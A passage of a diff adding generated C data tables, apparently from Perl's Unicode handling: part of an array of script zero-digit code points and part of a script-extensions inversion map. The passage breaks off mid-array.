+	0x112f0,	/* Khudawadi */
+	'0',	/* Kore */
+	0xed0,	/* Lao */
+	'0',	/* Latin */
+	0x1c40,	/* Lepcha */
+	0x1946,	/* Limbu */
+	'0',	/* Linear_A */
+	'0',	/* Linear_B */
+	'0',	/* Lisu */
+	'0',	/* Lycian */
+	'0',	/* Lydian */
+	0x966,	/* Mahajani */
+	0xd66,	/* Malayalam */
+	'0',	/* Mandaic */
+	'0',	/* Manichaean */
+	'0',	/* Marchen */
+	0x11d50,	/* Masaram_Gondi */
+	0xabf0,	/* Meetei_Mayek */
+	'0',	/* Mende_Kikakui */
+	'0',	/* Meroitic_Cursive */
+	'0',	/* Meroitic_Hieroglyphs */
+	'0',	/* Miao */
+	0x11650,	/* Modi */
+	0x1810,	/* Mongolian */
+	0x16a60,	/* Mro */
+	0xa66,	/* Multani */
+	 0,	/* Myanmar */
+	'0',	/* Nabataean */
+	0x19d0,	/* New_Tai_Lue */
+	0x11450,	/* Newa */
+	0x7c0,	/* Nko */
+	'0',	/* Nushu */
+	'0',	/* Ogham */
+	0x1c50,	/* Ol_Chiki */
+	'0',	/* Old_Hungarian */
+	'0',	/* Old_Italic */
+	'0',	/* Old_North_Arabian */
+	'0',	/* Old_Permic */
+	'0',	/* Old_Persian */
+	'0',	/* Old_South_Arabian */
+	'0',	/* Old_Turkic */
+	0xb66,	/* Oriya */
+	'0',	/* Osage */
+	0x104a0,	/* Osmanya */
+	0x16b50,	/* Pahawh_Hmong */
+	'0',	/* Palmyrene */
+	'0',	/* Pau_Cin_Hau */
+	'0',	/* Phags_Pa */
+	'0',	/* Phoenician */
+	'0',	/* Psalter_Pahlavi */
+	'0',	/* Rejang */
+	'0',	/* Runic */
+	'0',	/* Samaritan */
+	0xa8d0,	/* Saurashtra */
+	0x111d0,	/* Sharada */
+	'0',	/* Shavian */
+	'0',	/* Siddham */
+	'0',	/* SignWriting */
+	0xde6,	/* Sinhala */
+	0x110f0,	/* Sora_Sompeng */
+	'0',	/* Soyombo */
+	0x1bb0,	/* Sundanese */
+	0x9e6,	/* Syloti_Nagri */
+	'0',	/* Syriac */
+	'0',	/* Tagalog */
+	'0',	/* Tagbanwa */
+	0x1040,	/* Tai_Le */
+	 0,	/* Tai_Tham */
+	'0',	/* Tai_Viet */
+	0x116c0,	/* Takri */
+	0xbe6,	/* Tamil */
+	'0',	/* Tangut */
+	0xc66,	/* Telugu */
+	0x660,	/* Thaana */
+	0xe50,	/* Thai */
+	0xf20,	/* Tibetan */
+	'0',	/* Tifinagh */
+	0x114d0,	/* Tirhuta */
+	'0',	/* Ugaritic */
+	0xa620,	/* Vai */
+	0x118e0	/* Warang_Citi */
+};
+
+static const SCX_enum _Perl_SCX_invmap[] = { /* for ASCII/Latin1 */
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_1,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Coptic,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_2,
+	SCX_use_AUX_TABLE_3,
+	SCX_use_AUX_TABLE_4,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_5,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_7,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Arabic,
+	SCX_Thaana,
+	SCX_Unknown,
+	SCX_Nko,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_10,
+	SCX_use_AUX_TABLE_11,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_12,
+	SCX_use_AUX_TABLE_13,
+	SCX_use_AUX_TABLE_14,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_15,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_16,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_17,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Common,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Myanmar,
+	SCX_use_AUX_TABLE_19,
+	SCX_Myanmar,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_20,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_21,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Ogham,
+	SCX_Unknown,
+	SCX_Runic,
+	SCX_Common,
+	SCX_Runic,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Hanunoo,
+	SCX_use_AUX_TABLE_22,
+	SCX_Unknown,
+	SCX_Buhid,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Khmer,
+	SCX_Buginese,
+	SCX_Unknown,
+	SCX_Buginese,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Batak,
+	SCX_Unknown,
+	SCX_Batak,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Ol_Chiki,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_use_AUX_TABLE_26,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_use_AUX_TABLE_27,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_use_AUX_TABLE_24,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_use_AUX_TABLE_28,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Braille,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Coptic,
+	SCX_Unknown,
+	SCX_Coptic,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_3,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_30,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_32,
+	SCX_use_AUX_TABLE_21,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_33,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_34,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_35,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_21,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Lisu,
+	SCX_Vai,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Syloti_Nagri,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_37,
+	SCX_use_AUX_TABLE_38,
+	SCX_Unknown,
+	SCX_Phags_Pa,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_39,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_40,
+	SCX_Devanagari,
+	SCX_Unknown,
+	SCX_Kayah_Li,
+	SCX_use_AUX_TABLE_41,
+	SCX_Kayah_Li,
+	SCX_Rejang,
+	SCX_Unknown,
+	SCX_Rejang,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_42,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Myanmar,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Myanmar,
+	SCX_Tai_Viet,
+	SCX_Unknown,
+	SCX_Tai_Viet,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_44,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Lycian,
+	SCX_Unknown,
+	SCX_Carian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_45,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Gothic,
+	SCX_Unknown,
+	SCX_Old_Permic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Deseret,
+	SCX_Shavian,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Elbasan,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
